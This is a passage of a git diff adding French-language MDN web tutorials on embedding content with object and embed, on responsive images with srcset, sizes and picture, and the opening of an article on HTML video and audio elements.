Plutôt horrible, n'est-ce pas ? Le HTML généré par l'outil Adobe Flash avait tendance à être encore pire, utilisant un élément <objet> avec un élément <embed> intégré pour couvrir toutes les bases (voir un exemple.) Flash a même été utilisé avec succès comme contenu de repli pour la vidéo HTML5, pendant un certain temps, mais cela est de plus en plus souvent considéré comme non nécessaire.

+ +

Regardons maintenant un exemple avec <object> ; il intègre  un PDF dans une  (voir  l'exemple en direct et le code source) :

+ +
<object data="mypdf.pdf" type="application/pdf"
+        width="800" height="1200" typemustmatch>
+  <p>Vous ne possédez pas de greffon PDF, mais vous pouvez <a href="myfile.pdf">télécharger le fichier PDF.</a></p>
+</object>
+ +

Les PDF étaient un tremplin nécessaire entre le papier et le numérique, mais ils posent de nombreux problèmes d'accessibilité et peuvent être difficiles à lire sur de petits écrans. Ils ont encore tendance à être populaires dans certains cercles, mais il est préférable d'établir un lien vers eux pour qu'ils puissent être téléchargés ou lus sur une page séparée, plutôt que de les intégrer dans une page Web.

+ +

Le cas « greffons »

+ +

Il était une fois des greffons qui s'étaient rendus indispensables sur le Web. Vous souvenez-vous de l'époque où vous deviez installer Adobe Flash Player juste pour regarder un film en ligne ? Et puis vous avez constamment reçu des alertes ennuyeuses pour la mise à jour de Flash Player et de votre environnement d'exécution Java. Depuis, les technologies Web sont devenues beaucoup plus robustes, et cette époque est révolue. Pour la plupart des applications, il est temps d'arrêter de diffuser du contenu dépendant de greffons et de commencer à tirer profit des technologies Web à la place.

+ +

Mettez‑vous à portée de tout le monde. Tout le monde a un navigateur, mais les greffons sont de plus en plus rares, surtout chez les utilisateurs mobiles. Puisque le Web est largement utilisable sans greffons, les gens préfèront aller sur les sites de vos concurrents plutôt que d'installer un greffon.

+ + + +

Alors, que faire ? Si vous avez besoin d'interactivité, HTML et {{glossary("JavaScript")}} peuvent facilement faire le travail pour vous sans besoin d'applets Java ou d'une technologie ActiveX/BHO dépassée. Au lieu de compter sur Adobe Flash, utilisez la vidéo HTML5 pour vos besoins en médias, SVG pour les graphiques vectoriels et Canvas pour les images et animations complexes. Peter Elst écrivait déjà il y a quelques années qu'Adobe Flash est rarement le bon outil pour le travail, sauf pour les jeux spécialisés et les applications d'affaires. Quant à ActiveX, même le navigateur{{glossary("Microsoft Edge", "Edge")}} de Microsoft ne le prend plus en charge.

+ +

Résumé

+ +

Le problème de l'intégration de contenus tiers dans des documents web peut rapidement devenir très complexe : dans cet article nous avons donc essayé de le présenter de manière simple et classique — en espérant la méthode pertinente même si elle touche à certaines fonctionnalités parmi les plus avancées des techniques impliquées. Pour commencer, il est peu probable que vous utilisiez l'intégration pour autre chose que l'intégration de contenu tiers de cartes ou vidéos dans vos pages. L'expérience grandissant, il est vraisemblable que vous lui trouverez d'autres utilisations.

+ +

D'autres techniques impliquent l'intégration de contenu externe en plus de celles discutées ici. Nous en avons vu dans des articles précédents, comme {{htmlelement("video")}}}, {{htmlelement("audio")}}, et {{htmlelement("img")}}}, mais il y en a d'autres à découvrir, comme {{htmlelement("canvas")}} pour les graphiques 2D et 3D générés en JavaScript, et {{htmlelement("svg")}} pour intégrer des graphiques vectoriels. Nous verrons SVG dans le prochain article de ce module.

+ +

 

+ +

{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}

+ +

 

+ +

Dans ce module

+ + + +

 

diff --git a/files/fr/learn/html/multimedia_and_embedding/responsive_images/index.html b/files/fr/learn/html/multimedia_and_embedding/responsive_images/index.html new file mode 100644 index 0000000000..8aa1cd799b --- /dev/null +++ b/files/fr/learn/html/multimedia_and_embedding/responsive_images/index.html @@ -0,0 +1,272 @@ +--- +title: Images adaptatives +slug: Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_à_une_page_web +tags: + - Design + - Débutant + - Graphics + - Guide + - HTML + - Image + - Intermediate + - Intermédiaire + - img + - picture + - sizes + - srcset +translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}
+ +
+

Dans cet article, nous allons préciser le concept d'images adaptatives — images qui s'adaptent aux appareils selon les différentes tailles d'écran, résolutions et autres caractéristiques de ce type — et examiner les outils fournis par HTML pour faciliter leur mise en œuvre. Les images adaptatives ne sont qu'une part (elles préparent le terrain) dans la conception de sites Web adaptatifs, sujet sur lequel vous en apprendrez beaucoup plus dans un futur module au sujet des CSS.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez savoir comment créer un document HTML simple et comment ajouter des images statiques à une page web.
Objectifs :Apprendre comment utiliser des fonctionnalités comme {{htmlattrxref("srcset", "img")}} et l'élément {{htmlelement("picture")}}  pour implémenter des solutions d'images adaptatives sur les sites Web.
+ +

Pourquoi des images adaptatives ?

+ +

Quel problème essayons-nous de résoudre avec des images adaptatives ? Examinons un scénario typique. Un site Web classique a probablement une image d'en-tête pour flatter le regard du visiteurs, plus peut-être quelques images de contenu plus loin. Vous voulez probablement que l'image d'en-tête couvre toute la largeur de l'en-tête et que l'image de contenu s'insère quelque part à l'intérieur de la colonne de contenu. Voyons un exemple simple :

+ +

Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center.

+ +

Cela fonctionne bien sur un appareil avec un grand écran, comme un portable ou un ordinateur de bureau (vous pouvez voir cet exemple en direct et trouver son code source sur Github). Nous ne nous attarderons pas sur les CSS, excepté pour préciser ceci :

+ +
    +
  • Le contenu du corps a été fixé à une largeur maximale de 1200 pixels — dans les fenêtres de largeur supérieure, il s'affiche sur 1200 px et se centre dans l'espace disponible. Dans celles de largeur inférieure, le contenu occupe 100% de la largeur de la vue.
    • +
  • L'image d'en-tête est définie de sorte que son milieu soit toujours au centre de l'en-tête, quelle que soit sa largeur. Ainsi, si le site est regardé sur un écran moins large, le détail important au centre de l'image (les gens) peut toujours être vu, et l'excès est perdu de part et d'autre. L'image a une hauteur de 200 px.
    • +
  • Les images de contenu sont définies de sorte que si l'élément corps devient plus petit que l'image, les images se contractent pour rester toujours à l'intérieur du corps sans jamais déborder.
    • +
+ +

Tout cela c'est très bien, mais le problème vient quand vous commencez à regarder le site sur un écran étroit — l'en-tête semble correct, mais commence à prendre beaucoup de hauteur pour un mobile, et la première image de contenu d'autre part n'est pas terrible — à cette taille, vous avez du mal à distinger les personnes !

+ +

Our example site as viewed on a narrow screen; the first image has shrunk to the point where it is hard to make out the detail on it.

+ +

Quand le site est vu sur un écran étroit, il serait préférable de montrer une version recadrée de l'image sur les parties importantes de la vue au lieu de faire voir des bâtisses, et peut-être quelque chose entre les deux pour un écran de largeur moyenne comme une tablette — ce problème relève de décisions de nature artistique.

+ +

De plus, il n'est pas nécessaire d'intégrer des images aussi volumineuses sur une page destinée à être affichée sur l'écran minuscule d'un mobile ; c'est le problème des changements de résolution — une image matricielle est définie sur un certain nombre de pixels de large et un certain nombre de pixels de haut ; comme on a pu le voir à propos des graphiques vectoriels, une image matricielle paraît grenue et horrible si elle est affichée plus grande que sa taille d'origine (alors qu'un graphique vectoriel ne l'est pas). Et si elle est montrée significativement plus petite que sa taille d'origine, c'est un gaspillage de bande passante — les utilisateurs de mobiles en particulier ne veulent pas cramer de leur bande passante en téléchargeant une grande image destinée à des ordinateurs de bureau, alors qu'une petite image ferait l'affaire pour leur appareil. La solution idéale serait d'avoir plusieurs résolutions disponibles et de servir des tailles appropriées selon le type d'appareil accédant au site Web.

+ +

Pour compliquer encore plus les choses, certains appareils ont des écrans à haute résolution, écrans qui ont besoin d'images plus grandes que ce à quoi on pourrait s'attendre  pour s'afficher correctement. Il s'agit pratiquement du même problème, mais dans un contexte légèrement différent.

+ +

Vous pouvez penser que des images vectorielles sont la solution à ces problèmes : elles le sont dans une certaine mesure — elles sont à la fois de petite taille et se mettent à l'échelle : utilisez‑les partout où c'est possible. Mais elles ne conviennent pas à tous les types d'images — parfaites pour des graphiques simples, des motifs, des éléments d'interface, etc., il devient très compliqué de créer une image vectorielle avec le genre de détails que l'on trouve dans une photo, par exemple. Les formats matriciels comme JPEG sont plus adaptés au type d'images affichés dans l'exemple ci-dessus.

+ +

Ce type de problème n'existait pas quand le Web a vu le jour, du début jusqu'au milieu des années 90 — à l'époque, les seuls appareils permettant de naviguer sur le Web étaient les ordinateurs de bureau et les portables, de sorte que les ingénieurs et rédacteurs de spécifications pour les navigateurs ne pouvaient même pas imaginer l'existence de ces problèmes. Pour résoudre les problèmes indiqués ci-dessus, les techniques d'images adaptatives sont de mise en œuvre récente : elles offrent au navigateur plusieurs fichiers d'images, soit montrant tous la même chose mais avec un nombre de pixels différent (commutation de résolution), soit des images différentes selon l'espace alloué (décisions artistiques).

+ +
+

Note : Toutes les nouvelles fonctionnalités présentées dans cet article — {{htmlattrxref("srcset", "img")}}/{{htmlattrxref("sizes", "img")}}/{{htmlelement("picture")}} — sont toutes prises en charge dans les parutions d'explorateurs récemment publiées pour les ordinateurs de bureau et pour les mobiles (y compris l'explorateur Edge de Microsoft,  même si ce n'est pas le cas d'Internet Explorer.) 

+
+ +

Comment créer des images adaptatives ?

+ +

Dans ce paragraphe, nous allons examiner les deux problèmes illustrés ci-dessus et montrer comment les résoudre à l'aide des fonctions d'images adaptatives du HTML. Notez que nous nous focaliserons sur l'élément {{htmlelement("img")}} du HTML dans cette section, comme vous avez pu le voir dans la zone de contenu de l'exemple ci-dessus — l'image d'en-tête du site n'est là que pour la décoration, et donc implémenté en utilisant des images de fond du CSS. CSS a sans doute de meilleurs outils que le HTML pour la conception adaptative : nous en parlerons dans le module CSS à venir.

+ +

Commutations de résolution : tailles différentes

+ +

Alors, quel est le problème à résoudre à l'aide des commutations de résolution ? Nous voulons afficher un contenu d'image identique, juste plus grand ou plus petit selon l'appareil — c'est la situation de la deuxième image du contenu de notre exemple précédent. L'élément standard {{htmlelement("img")}} vous permet classiquement de ne faire pointer le navigateur que vers un seul fichier source :

+ +
<img src="elva-fairy-800w.jpg" alt="Elva habillée en fée">
+ +

Mais il est possible d'utiliser deux nouveaux attributs — {{htmlattrxref("srcset", "img")}} et {{htmlattrxref("sizes", "img")}} — permettant de fournir plusieurs images source avec des indications pour permettre à l'explorateur de faire le bon choix. Vous trouverez un exemple de cela dans le fichier responsive.html sur Github (voyez aussi le code source) :

+ +
<img srcset="elva-fairy-320w.jpg 320w,
+             elva-fairy-480w.jpg 480w,
+             elva-fairy-800w.jpg 800w"
+     sizes="(max-width: 320px) 280px,
+            (max-width: 480px) 440px,
+            800px"
+     src="elva-fairy-800w.jpg" alt="Elva habillée en fée">
+ +

Les attributs srcset et sizes paraissent complexes, mais ils ne sont pas difficiles à comprendre si vous les formatez comme indiqué ci-dessus, avec une partie différente de la valeur de l'attribut sur chaque ligne. Chaque valeur contient une liste séparée par des virgules et chaque partie de la liste est composée de trois sous-parties. Passons en revue leur contenu maintenant :

+ +

srcset definit l'ensemble des images offertes au choix du navigateur, et la taille de chaque image. Avant chaque virgule, nous avons écrit :

+ +
    +
  1. un nom de fichier image (elva-fairy-480w.jpg),
    2. +
  2. un espace,
    3. +
  3. la largeur intrinsèque en  pixels (480w) — notez l'utilisation de l'unité w, et non px comme vous auriez pu penser. C'est la taille réelle de l'image; qui peut être trouvée en examinant les propriétés du fichier image sur l'ordinateur  (par exemple sur un Mac, sélectionnez l'image dans le Finder, puis appuyez sur Cmd + I pour faire apparaître l'écran des infos).
    4. +
+ +

sizes définit un ensemble de conditions pour le média (par ex. des largeurs d'écran) et indique quelle taille d'image serait la plus adaptée si certaines conditions sont satisfaites — ce sont les conditions dont nous avons parlé plus haut. Dans ce cas, nous écrivons avant chaque virgule

+ +
    +
  1. une condition pour le média ((max-width:480px)) — vous pourrez en savoir plus à ce propos dans l'article sur les CSS, mais pour le moment disons simplement que cette condition pour le média décrit un état possible de l'écran. Dans notre cas, nous disons « si la largeur de fenêtre est de 480 pixels ou moins »,
    2. +
  2. une espace,
    3. +
  3. la largeur de la place occupée par l'image si la condition pour le média est vraie (440px).
    4. +
+ +
+

Note : Pour définir une largeur d'emplacement, vous pouvez indiquer une taille absolue (px, em) ou relative au viewport (vw), mais pas en pourcentage. Vous avez peut‑être noté que la dernière largeur d'emplacement  ne comporte pas d'indication pour le média — c'est la valeur par défaut retenue quand aucune des conditions n'est vraie). L'explorateur ignore tout ce qui suit dès la première condition concordante ; donc soyez attentif à l'ordre de ces conditions pour le média.

+
+ +

Ainsi, une fois ces attributs en place, l'explorateur va :

+ +
    +
  1. noter la largeur du périphérique,
    2. +
  2. vérifier quelle est la première condition vraie pour le média dans la liste des tailles,
    3. +
  3. noter la largeur d'emplacement demandée par le média,
    4. +
  4. charger l'image référencée dans la liste srcset qui est la plus proche de la taille choisie.
    5. +
+ +

Et c'est tout ! Donc à ce stade, si un navigateur prenant en charge une largeur de vue de 480 px charge la page, la condition pour le média (max-width: 480px) sera vraie, donc une largeur d'emplacement de 440px sera choisie, donc le fichier elva-fairy-480w.jpg sera chargé, car sa largeur intrinsèque (480w) est celle qui est la plus proche de 440px. L'image 800 px a une taille de 128 Ko sur disque alors que la version 480 px n'occupe que 63 Ko — une économie de 65Ko. Imaginez maintenant qu'il s'agisse d'une page avec beaucoup d'images. L'utilisation de cette technique peut permettre aux utilisateurs de mobiles d'économiser beaucoup de bande passante.

+ +

Les explorateurs les plus anciens qui ne prennent pas en charge ces fonctionnalités les ignorent; poursuivent et chargent normalement l'image référencée dans l'attribut {{htmlattrxref("src", "img")}}.

+ +
+

Note : Dans l'élément {{htmlelement("head")}} du document, vous trouvez la ligne <meta name="viewport" content="width=device-width"> : ceci force les explorateurs de mobiles de prendre la largeur réelle de leur vue pour charger des pages web (certains explorateurs de mobile mentent à propos de la largeur de leur vue, et à la place chargent des pages pour une vue plus large, puis rétrécissent la page chargée, ce qui n'est pas vraiment une aide pour les pages adaptatives ou pour la conception. Nous vous en dirons plus à ce propos dans un module à venir.)

+
+ +

Outils de développement

+ +

Il y a quelques outils de développement utiles dans les navigateurs pour vous aider à déterminer les largeurs d'affichage nécessaires, etc, que vous devez utiliser. Pour les déterminer, j'ai d'abord chargé la version non adaptative de l'exemple (not‑responsive.html), puis je suis allé dans Responsive Design View (Outils > Développement Web > Vue adaptative), qui vous permet de regarder les mises en page Web comme si elles étaient visualisées à travers un éventail de tailles d'écran d'appareils différents.

+ +

J'ai réglé la largeur de la fenêtre à 320px puis 480px ; pour chacun, je suis allé dans l'inspecteur DOM, j'ai cliqué sur l'élément {{htmlelement("img")}}} qui nous intéresse, puis j'ai regardé sa taille dans l'onglet Box Model View sur le côté droit de l'écran. Cela devrait vous donner les largeurs intrinsèques d'image dont vous avez besoin.

+ +

A screenshot of the firefox devtools with an image element highlighted in the dom, showing its dimensions as 440 by 293 pixels.

+ +

Ensuite, vous pouvez vérifier si srcset fonctionne en réglant la largeur de la fenêtre sur ce que vous voulez (par exemple une largeur étroite), en ouvrant Network Inspector (Outils > Développement Web > Réseau), puis en rechargeant la page. Ceci devrait vous donner une liste des ressources téléchargées pour dresser la page web, et ici vous pouvez vérifier quel fichier image a été choisi pour le téléchargement.

+ +
+

Note : Utilisez Mozilla Firefox pour tester srcset. Chrome charge la meilleure image dans le cache de l'explorateur, ce qui empêche de la tester dans les outils de développement.

+
+ +

a screenshot of the network inspector in firefox devtools, showing that the HTML for the page has been downloaded, along with three images, which include the two 800 wide versions of the responsive images

+ +

Commutation de résolution : même taille, résolutions differentes

+ +

Si votre ordinateur prend en charge plusieurs résolutions d'affichage, mais que tout le monde voit l'image avec la même taille effective sur l'écran, vous pouvez permettre au navigateur de choisir une image de résolution appropriée en utilisant srcset avec x-descriptors et sans sizes — une syntaxe un peu plus facile en quelque sorte ! Vous pouvez trouver un exemple de ce à quoi cela ressemble dans srcset-resolutions.html (voir aussi le code source) :

+ +
<img srcset="elva-fairy-320w.jpg,
+             elva-fairy-480w.jpg 1.5x,
+             elva-fairy-640w.jpg 2x"
+     src="elva-fairy-640w.jpg" alt="Elva habillée en fée">
+
+ +

A picture of a little girl dressed up as a fairy, with an old camera film effect applied to the imageDans cet exemple, le CSS suivant est appliqué à l'image de façon à ce qu'elle ait une largeur de 320 pixels à l'écran (également nommée pixels CSS) :

+ +
img {
+  width: 320px;
+}
+ +

Dans ce cas, sizes n'est pas nécessaire — le navigateur détermine simplement la résolution d'affichage de l'écran et montre l'image la plus appropriée référencée dans srcset. Donc si le dispositif accédant à la page a un affichage standard/basse résolution, avec un pixel de dispositif représentant chaque pixel CSS, l'image elva-fairy-320w.jpg sera chargée (le 1x est implicite, donc vous n'avez pas besoin de l'inclure.) Si le dispositif a une haute résolution de deux pixels de dispositif par pixel CSS ou plus, l'image elva‑fairy-640w.jpg sera chargée. L'image 640px a une taille de 93 Ko, alors que l'image 320 px n'a qu'une taille de 39 Ko.

+ +

Décision de nature artistique

+ +

Pour résumer, le problème des décisions de nature artistique réside dans le choix des modifications à apporter à l'image selon les diverses tailles d'affichage. Par exemple, si un instantané d'un grand plan paysager avec une personne au milieu, correctement affiché sur un site Web avec le navigateur d'un ordinateur de bureau, est rétréci lorsque ce même site est visionné sur un navigateur de mobile, cet instantané risque d'avoir mauvaise mine, car la personne sera vraiment minuscule et difficile à voir. Il serait probablement préférable de montrer sur un mobile une image portrait plus petite d'un zoom sur la personne. L'élément {{htmlelement("picture")}} nous permet d'implémenter ce type de solution.

+ +

Revenons à notre exemple initial du fichier not-responsive.html. Cette image nécessite d'opérer un choix de nature artistique :

+ +
<img src="elva-800w.jpg" alt="Chris debout tenant sa fille Elva dans ses bras">
+ +

Arrangeons cela avec {{htmlelement("picture")}}} ! Comme pour <vidéo> et <audio>, l'élément <picture> est une enveloppe conteneur de plusieurs éléments {{htmlelement("source")}}} ; ces éléments indiquent plusieurs sources différentes entre lesquelles le navigateur peut choisir ; ils sont suivis du très important élément {{htmlelement("img")}}}. Le code dans responsive.html ressemblera à :

+ +
<picture>
+  <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg">
+  <source media="(min-width: 800px)" srcset="elva-800w.jpg">
+  <img src="elva-800w.jpg" alt="Chris debout tenant sa fille Elva dans ses bras">
+</picture>
+
+ +
    +
  • Les éléments <source> incluent un attribut media qui contient une condition pour le média — comme avec le premier exemple srcset, ces conditions sont testées pour décider de l'image à montrer — le premier qui renvoie true sera affiché. Dans notre cas, si la largeur de la fenêtre est de 799 px ou moins, l'image du premier élément <source> sera affichée. Si la largeur de la fenêtre est de 800 px plus, ce sera la deuxième.
    • +
  • Les attributs srcset contiennent le chemin vers l'image à afficher. Noter que comme avec <img> plus haut, <source> peut prendre plusieurs attributs srcset référençant plusieurs images, ainsi qu'un attribut sizes également.  Ainsi, non seulement vous pouvez offrir plusieurs images par l'intermédiaire d'un élement <picture> element, mais aussi offrir plusieurs résolutions pour chacune d'entre elles. En réalité, vous ne ferez pas ce type de montage très souvent.
    • +
  • Dans tous les cas, vous devez fournir un élément <img>, avec src et  alt, juste avant </picture>, sinon aucune image n'apparaîtra. Cet élément ménage un cas par défaut appliqué si aucune des conditions de média ne renvoie vrai (vous pouvez réellement enlever le deuxième élément <source> dans cet exemple), et un repli pour les navigateurs qui ne prennent pas en charge l'élément <picture>.
    • +
+ +

Ce code nous permet d'afficher une image adaptée à la fois sur un écran large et sur un écran étroit, comme montré ci‑dessous :

+ +

Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center.Our example site as viewed on a narrow screen with the picture element used to switch the first image to a portrait close up of the detail, making it a lot more useful on a narrow screen

+ +
+

Note : Vous ne devez utiliser l'attribut media qu'avec un scénario de décision de nature artistique ; quand vous utilisez media, ne mettez pas de conditions pour le média avec l'attribut sizes.

+
+ +

Pourquoi ne peut-on pas réaliser cela avec le CSS ou du JavaScript ?

+ +

Lorsque le navigateur commence à charger une page, il commence à télécharger (précharger) toutes les images avant que l'analyseur principal n'ait commencé à charger et à interpréter le CSS et le JavaScript de la page. Cette technique est utile car elle permet de réduire de 20 % en moyenne le temps de chargement des pages. Cependant, elle n'est d'aucune aide pour les images adaptatives, d'où la nécessité de mettre en œuvre des solutions comme srcset. Vous ne pourriez pas, par exemple, charger l'élément {{htmlelement("img")}}}, puis détecter la largeur de fenêtre avec JavaScript et changer dynamiquement l'image source pour une image plus petite si désiré. A ce moment-là, l'image originale aurait déjà été chargée, et vous chargeriez en plus la petite image, ce qui est encore pire en termes d'image adaptative.

+ +
    +
+ +

Utilisez largement les formats d'image modernes

+ +

Il existe plusieurs nouveaux formats d'image très interessants (comme WebP et JPEG-2000) qui sont à la fois de taille réduite et de haute qualité. Toutefois, la prise en charge par les navigateurs est ponctuelle.

+ +

<picture> nous permet de servir encore les plus vieux explorateurs. Vous pouvez indiquer le type MIME dans les attributs type de façon à ce que l'explorateur puisse immédiatement rejeter les types de fichiers non pris en charge :

+ +
<picture>
+  <source type="image/svg+xml" srcset="pyramid.svg">
+  <source type="image/webp" srcset="pyramid.webp">
+  <img src="pyramid.png" alt="Pyramide régulière constituée de quatre triangles équilatéraux">
+</picture>
+
+ +
    +
  • N'utilisez pas l'attribut media, sauf à devoir prendre une décision de nature artistique.
    • +
  • Dans un élément <source>, vous ne pouvez vous référer qu'à des images du type déclaré avec type.
    • +
  • Comme précédemment, il n'y a pas d'inconvénient à utiliser des listes avec une virgule comme séparateur avec srcset et sizes, selon les besoins.
    • +
+ +

Apprentissage actif : mise en œuvre de vos images adaptatives

+ +

Pour cet apprentissage actif, nous attendons que vous soyiez courageux et que vous y alliez seul.... la plupart du temps. Nous souhaitons que vous preniez une décision artistique en mettant en place vos  propres écrans étroit et large en utilisant <image>, et un exemple de commutation de résolution en utilisant srcset.

+ +
    +
  1. Écrivez un HTML simple contenant votre code (utilisez not-responsive.html comme point de départ si vous voulez)
    2. +
  2. Trouvez une jolie image de paysage de grande largeur avec quelques détails à l'intérieur. Créez une version taille web de cette dernière avec un éditeur graphique, puis découpez en une partie plus petite qui zoome sur un des détails, et créez une deuxième image (une largeur de l'ordre de 480 px conviendra parfaitement).
    3. +
  3. Utilisez l'élément <picture> pour implémenter une bascule d'image en décision artistique !
    4. +
  4. Créez plusieurs fichiers image de tailles différentes, chacun montrant la même image.
    5. +
  5. Utilisez srcset/size pour créer un exemple de commutateur de résolution, soit pour servir une image de même taille avec différentes résolutions, ou diverses tailles d'images avec diverses largeur de vue.
    6. +
+ +
+

Note : Utilisez les outils de développement du navigateur pour vous aider dans le choix des tailles dont vous avez besoin, comme mentionné plus haut.

+
+ +

Résumé

+ +

Voilà notre paquet‑cadeau pour des images adaptatives — nous espérons que ces nouvelles techniques vous plaisent. Résumons, nous vous avons exposé deux méthodes distinctes pour résoudre ce problème :

+ +
    +
  • les décisions de nature artistique : cette méthode consiste à servir des images recadrées selon les diverses mises en page — par exemple, une image paysagère offrant toute la scène pour une mise en page destinée aux ordinateurs de bureau et une image portrait montrant le sujet principal zoomé de près pour une mise en page destinée aux mobiles. On resout alors ce problème avec {{htmlelement("picture")}}.
    • +
  • la commutation de résolution : cette méthode consiste à servir des images issues de fichiers plus petits pour les périphériques à petit écran, car ils n'ont que faire des grosses images prévues pour les écrans d'ordinateurs de bureau — et en plus, en option, adapter la résolution de l'image aux écrans de faible ou grande densité. On resout ce problème avec l'utilisation de graphiques vectoriels (images SVG) ainsi qu'à l'aide des attributs {{htmlattrxref("srcset", "img")}} et {{htmlattrxref("sizes", "img")}}.
    • +
+ +

Cet article est aussi la conclusion de l'ensemble du module Multimedia et intégration ! Avant de passer à autre chose, il vous reste à essayer notre évaluation multimédia et à voir comment vous vous en sortez. Amusez-vous bien.

+ +

Voir aussi

+ + + +
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}
+ +
+

Dans ce module

+ + +
diff --git a/files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.html new file mode 100644 index 0000000000..deb09eb186 --- /dev/null +++ b/files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.html @@ -0,0 +1,314 @@ +--- +title: Contenu audio et vidéo +slug: Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video +tags: + - Article + - Audio + - Débutant + - Guide + - HTML + - Légendes + - Video + - pistes (audio ou texte) + - sous‑titres +translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}
+ +

Maintenant que nous sommes à l'aise pour ajouter de simples images dans une page web, nous passons à l'étape suivante : ajouter de la vidéo et un lecteur audio à vos documents HTML. Dans cet article, nous nous contenterons de le faire avec les éléments {{htmlelement("video")}} et {{htmlelement("audio")}}. Nous terminerons en apprenant comment ajouter des légendes et des sous-titres à vos vidéos.

+ + + + + + + + + + + + +
Prérequis :Compétences informatiques de base,  installation des outils de base, bases de la manipulation des fichiers, connaissance des fondamentaux du HTML (comme expliqué dans  Commencer avec le HTML) et Images en HTML.
Objectifs :Apprendre à intégrer vidéos et audios dans une page web et y ajouter des légendes et des sous-titres.
+ +

Audio et vidéo sur le web

+ +

Les développeurs ont toujours voulu utiliser la vidéo et l'audio sur le web et ce, dès le début des années 2000, quand nous avons commencé à disposer d'une bande passante suffisamment rapide pour supporter toutes sortes de vidéos (les fichiers vidéo étant beaucoup plus lourds que du texte ou des images). Au départ, les technologies embarquées telles que HTML n'avaient pas la capacité d'intégrer de la vidéo ou de l'audio, donc, les solutions « propriétaires » (ou basées sur des greffons) comme Flash (puis, plus tard, Silverlight) sont devenues très populaires pour gérer ce type de contenu. Ces technologies fonctionnaient bien mais avaient de nombreux inconvénients, comme une relation aléatoire avec les fonctionnalités HTML/CSS, des problèmes de sécurité et d'accessibilité.

+ +

Une solution embarquée devrait résoudre la plupart de ces problèmes. Heureusement, après quelques années, la spécification {{glossary("HTML5")}} apportait ces améliorations avec les éléments  {{htmlelement("video")}} et {{htmlelement("audio")}} et des {{Glossary("API","APIs")}}{{Glossary("JavaScript")}} flambants neufs pour les contrôler. Nous ne verrons pas JavaScript ici — nous poserons juste les fondamentaux qui peuvent être obtenus avec HTML.

+ +

Nous ne vous apprendrons pas à produire des fichiers audio ou vidéo  — cela demande des compétences totalement différentes. Nous vous conseillons ce lien Github fichiers d'échantillons audio et vidéo et exemples de code pour votre expérience personnelle, au cas où vous ne pourriez pas y accéder par vous-même.

+ +
+

Note : Avant de commencer, vous devez savoir qu'il existe un grand nombre de fournisseurs de vidéos en ligne {{glossary("OVP","OVPs")}} comme YouTube, Dailymotion, et Vimeo. Pour l'audio, voyez Soundcloud  par exemple. Ces sociétés offrent un moyen simple d'héberger et de consommer de la vidéo, donc, vous n'avez pas à vous soucier de l'énorme consommation de bande passante. Ils peuvent aussi vous proposer du code "tout-prêt" pour intégrer la vidéo/audio dans vos pages web. Si vous suivez cette procédure, vous vous éviterez quelqu'unes des difficultés abordées dans cet article. Nous parlerons en détails de ces services dans l'article suivant.

+
+ +

L' élément <video>

+ +

L'élément {{htmlelement("video")}} vous permet d'intégrer de la vidéo très facilement. En voici un exemple :

+ +
<video src="rabbit320.webm" controls>
+  <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.webm">lien sur la vidéo</a>.</p>
+</video>
+ +

Les fonctionnalités de ce code sont :

+ +
+
{{htmlattrxref("src","video")}}
+
De la même manière que pour l'élément {{htmlelement("img")}}, l'attribut src (source) contient le chemin vers la vidéo que vous voulez intégrer.  Cela fonctionne de la même manière.
+
{{htmlattrxref("controls","video")}}
+
Les utilisateurs doivent avoir un contrôle sur la lecture de la vidéo ou de l'audio. (c'est particulièrement crucial pour les gens ayant de l'épilepsie.) Vous devez vous servir de l'attribut  controls pour appeler l'interface de contrôle du navigateur ou construire votre propre interface en utilisant l'API JavaScript adéquat. Au minimum, l'interface doit avoir un contrôle de démarrage et d'arrêt (start/stop) du média et un pour ajuster le volume.
+
Le paragraphe dans la balise <video>
+
Cela peut s'appeler solution de repli ou contenu de secours (fallback content) — si le navigateur accédant à la page ne supporte pas l'élément <video> , cela offre un texte alternatif qui peut être ce que vous voulez ; dans ce cas nous avons mis un lien direct au fichier vidéo, afin que l'utilisateur puisse au moins y accéder sans avoir à se soucier du navigateur qu'il utilise.
+
+ +

La vidéo intégrée donnerait quelque chose comme ça :

+ +

A simple video player showing a video of a small white rabbit

+ +

Faites un essai avec l'exemple ici. (voyez aussi le code source.)

+ +

Gestion de différents formats

+ +

Il y a un problème avec l'exemple au-dessus que vous avez dû rencontrer si vous avez accédé au lien « exemple ici » avec un navigateur comme Safari ou Internet Explorer. La vidéo ne se lancera pas ! Ceci parce que les navigateurs acceptent des formats différents de video et d'audio.

+ +

Voyons-en rapidement la terminologie. Les formats comme le MP3, MP4 et le WebM sont appelés des formats conteneurs. Ils contiennent plusieurs parties qui, ensemble, donnent l'intégralité de la chanson ou de la vidéo — comme une piste audio, une piste vidéo et les métadonnées qui décrivent le média qui est lu.

+ +

Les pistes audio et vidéo sont aussi de différents formats, par exemple :

+ +
    +
  • Un conteneur WebM empaquette de l'audio Ogg Vorbis avec de la vidéo VP8/VP9. Firefox et Chrome, en particulier, assurent sa prise en charge.
    • +
